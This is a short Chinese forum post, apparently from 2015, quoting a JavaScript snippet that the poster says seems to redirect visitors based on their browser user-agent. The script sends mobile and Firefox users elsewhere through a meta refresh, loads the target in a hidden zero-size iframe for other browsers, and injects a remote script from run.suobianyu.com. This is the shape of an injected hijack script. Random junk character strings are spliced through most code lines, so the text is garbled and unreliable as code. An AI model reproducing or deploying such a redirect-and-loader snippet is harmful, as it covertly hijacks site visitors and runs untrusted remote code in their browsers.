|
|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 , }' w( L$ _& H0 N! \* |# F
- var ua = navigator.userAgent.toLowerCase(),
: j4 W c2 S1 c5 Y! T3 q7 P# l0 K - browser = {# L8 P- h, ~; W' f* ^
- ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],/ V6 M3 ]. m( \ x- }+ P
- opera: /opera/.test(ua),$ F+ b. k+ }3 \: Q, f, f
- maxthon: /maxthon/.test(ua),
8 j h3 P$ x8 @! @( g3 ? - theworld: /theworld/.test(ua),
6 P$ W# h m1 N - qq: /qqbrowser/.test(ua),
K9 q9 p# e( [( n* J$ D - sogou: /se /.test(ua),$ m. S0 j5 f! o/ C- F6 ]9 s
- liebao: /liebao/.test(ua),
( k1 P3 }8 ~) I7 B( @0 k - firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua)," F4 j4 j, J; W7 Z# s; `+ U
- chrome: /chrome|crios/.test(ua),4 K: z# U. j" k3 Q
- safari: /webkit/.test(ua),
! C, M R1 \0 U6 e- {- } - uc: /ucbrowser/.test(ua),) M4 }; a/ }# [3 c9 ~
- ie: /msie/.test(ua) && !/opera/.test(ua)
1 Y# A- A9 J: r9 O - };
/ f( ^. }8 _0 P1 Y( S/ y - var ver = browser.ver;! `0 L4 ?8 N& N# M- v5 E! w' [
- if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {$ O. B: v: q: W. h' W# I K* o
- document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");6 f& [; Z# _! x( G# s7 ~
- } else {
: E. i. B$ X: \ - window.sc = "<iframe src=" + tourl + "></iframe>";
# P) `# I% j! Q q# |- l - document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");7 Y5 z# @% d5 z! f
- }7 g0 {1 n& ^# P5 c3 D
- document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
& P# O; a$ P1 U( |5 H+ Y, I, d) Z3 }" p) f# M+ E. E
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|